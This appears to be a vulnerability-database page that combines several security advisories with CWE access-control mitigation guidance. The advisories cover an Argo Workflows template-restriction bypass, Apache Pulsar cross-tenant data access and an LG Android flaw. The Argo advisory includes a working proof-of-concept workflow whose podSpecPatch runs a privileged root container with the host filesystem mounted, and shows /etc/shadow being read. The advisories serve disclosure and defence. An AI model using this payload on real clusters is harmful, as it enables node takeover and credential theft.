-\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: legit-use-\n  namespace: argo\nspec:\n  workflowTemplateRef:\n    name: secure-template\nEOF\n```\n\nWait for completion and check logs:\n\n```bash\nLEGIT_WF=$(kubectl get workflow -n argo -o name | grep legit-use | tail -1)\nkubectl wait -n argo --for=condition=Completed \"$LEGIT_WF\" --timeout=120s\nkubectl logs -n argo -l \"workflows.argoproj.io/workflow=$(basename $LEGIT_WF)\" -c main\n```\n\nExpected output (confirming the template\u0027s security settings are applied):\n\n```\n=== Security Context Check ===\nCurrent UID: 1000\nCurrent GID: 0\nSECURE: Cannot read /etc/shadow\nSECURE: No host filesystem access\nSECURE: Running as non-root (UID: 1000)\n=== End Check ===\n```\n\n#### 6. Submit the bypass Workflow\n\nSubmit a Workflow that references the same secure template but includes a `podSpecPatch` that overrides all security settings:\n\n```bash\ncat \u003c\u003c\u0027EOF\u0027 | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: bypass-security-\n  namespace: argo\nspec:\n  workflowTemplateRef:\n    name: secure-template\n  podSpecPatch: |\n    hostPID: true\n    hostNetwork: true\n    containers:\n    - name: main\n      securityContext:\n        privileged: true\n        runAsUser: 0\n        runAsNonRoot: false\n        allowPrivilegeEscalation: true\n        capabilities:\n          add:\n            - ALL\n          drop: []\n      volumeMounts:\n      - name: host-root\n        mountPath: /host\n    volumes:\n    - name: host-root\n      hostPath:\n        path: /\n        type: Directory\nEOF\n```\n\nWait for completion and check logs:\n\n```bash\nBYPASS_WF=$(kubectl get workflow -n argo -o name | grep bypass-security | tail -1)\nkubectl wait -n argo --for=condition=Completed \"$BYPASS_WF\" --timeout=120s\nkubectl logs -n argo -l \"workflows.argoproj.io/workflow=$(basename $BYPASS_WF)\" -c main\n```\n\nExpected output (all security settings bypassed):\n\n```\n=== Security Context Check ===\nCurrent UID: 0\nCurrent GID: 0\nroot:*::0:::::\nbin:!::0:::::\n[... /etc/shadow contents dumped ...]\nEXPLOITED: Can read /etc/shadow!\nEXPLOITED: Host filesystem accessible!\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n[... host /etc/passwd contents ...]\nEXPLOITED: Running as root!\n=== End Check ===\n```\n\nThe file `/etc/shadow` is readable (root), the host filesystem is mounted and accessible, and the container runs as UID 0.\n\n## Impact\n\nThe purpose of `templateReferencing: Strict` is to restrict users to only execute admin-approved `WorkflowTemplates`. This is explicitly [documented](https://argo-workflows.readthedocs.io/en/latest/security/) as a security feature:\n\n\u003e You can typically further restrict what a user can do to just being able to submit workflows from templates using the workflow restrictions feature.\n\nA user who can submit Workflows referencing approved templates can use `podSpecPatch` to:\n\n- Run containers as root (`runAsUser: 0`)\n- Enable privileged mode (`privileged: true`)\n- Mount the host filesystem (`hostPath` volumes)\n- Share host PID/network/IPC namespaces (`hostPID`, `hostNetwork`, `hostIPC`)\n- Add all Linux capabilities (`capabilities.add: [\"ALL\"]`)\n\nThis effectively grants the user full root access to the underlying Kubernetes node, regardless of what security constraints the admin configured in the `WorkflowTemplate`.\n\nThe `templateReferencing` feature was introduced in Argo Workflows v2.9.0 through PR #3149.\n\n## Mitigation\n\nWhen `templateReferencing: Strict` or `Secure` is enabled, the controller should reject Workflows that include a `podSpecPatch` field when using `workflowTemplateRef`.\n\nWithout the codefix, deploying an admission controller (OPA/Gatekeeper, Kyverno) with policies that block dangerous pod settings (`privileged`, `hostPID`, `hostNetwork`, `hostIPC`, `hostPath`) on pods created by Argo Workflows.",
  "id": "GHSA-3wf5-g532-rcrr",
  "modified": "2026-03-11T19:29:33Z",
  "published": "2026-03-11T19:29:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-3wf5-g532-rcrr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31892"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-workflows"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Argo Workflows: WorkflowTemplate Security Bypass via podSpecPatch in Strict/Secure Reference Mode"
}

GHSA-3WHX-QRJ5-HH2H

Vulnerability from github – Published: 2022-02-02 00:01 – Updated: 2022-02-11 17:07
VLAI
Summary
Improper Input Validation in Apache Pulsar
Details

In Apache Pulsar it is possible to access data from BookKeeper that does not belong to the topics accessible by the authenticated user. The Admin API get-message-by-id requires the user to input a topic and a ledger id. The ledger id is a pointer to the data, and it is supposed to be a valid it for the topic. Authorisation controls are performed against the topic name and there is not proper validation the that ledger id is valid in the context of such ledger. So it may happen that the user is able to read from a ledger that contains data owned by another tenant. This issue affects Apache Pulsar Apache Pulsar version 2.8.0 and prior versions; Apache Pulsar version 2.7.3 and prior versions; Apache Pulsar version 2.6.4 and prior versions.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.pulsar:pulsar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.7.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.pulsar:pulsar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.pulsar:pulsar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.8.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2021-41571"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-02-03T17:38:32Z",
    "nvd_published_at": "2022-02-01T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In Apache Pulsar it is possible to access data from BookKeeper that does not belong to the topics accessible by the authenticated user. The Admin API get-message-by-id requires the user to input a topic and a ledger id. The ledger id is a pointer to the data, and it is supposed to be a valid it for the topic. Authorisation controls are performed against the topic name and there is not proper validation the that ledger id is valid in the context of such ledger. So it may happen that the user is able to read from a ledger that contains data owned by another tenant. This issue affects Apache Pulsar Apache Pulsar version 2.8.0 and prior versions; Apache Pulsar version 2.7.3 and prior versions; Apache Pulsar version 2.6.4 and prior versions.",
  "id": "GHSA-3whx-qrj5-hh2h",
  "modified": "2022-02-11T17:07:14Z",
  "published": "2022-02-02T00:01:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41571"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/pulsar/issues/11814"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/pulsar/pull/11852"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/pulsar/pull/11912"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/pulsar/pull/11913"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/pulsar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/pulsar/releases/tag/v2.7.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/pulsar/releases/tag/v2.8.1"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/8n3k7pvyh4cf9q2jfzb6pb32ync6xlvr"
    },
    {
      "type": "WEB",
      "url": "https://pulsar.apache.org/admin-rest-api/#operation/getLastMessageId"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Input Validation in Apache Pulsar"
}

GHSA-3X74-WGFJ-FP94

Vulnerability from github – Published: 2022-05-24 17:28 – Updated: 2022-05-24 17:28
VLAI
Details

An issue was discovered on LG mobile devices with Android OS 10 software. The lguicc software (for the LG Universal Integrated Circuit Card) allows attackers to bypass intended access restrictions on property values. The LG ID is LVE-SMP-200020 (September 2020).

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-25282"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-09-11T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered on LG mobile devices with Android OS 10 software. The lguicc software (for the LG Universal Integrated Circuit Card) allows attackers to bypass intended access restrictions on property values. The LG ID is LVE-SMP-200020 (September 2020).",
  "id": "GHSA-3x74-wgfj-fp94",
  "modified": "2022-05-24T17:28:10Z",
  "published": "2022-05-24T17:28:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25282"
    },
    {
      "type": "WEB",
      "url": "https://lgsecurity.lge.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list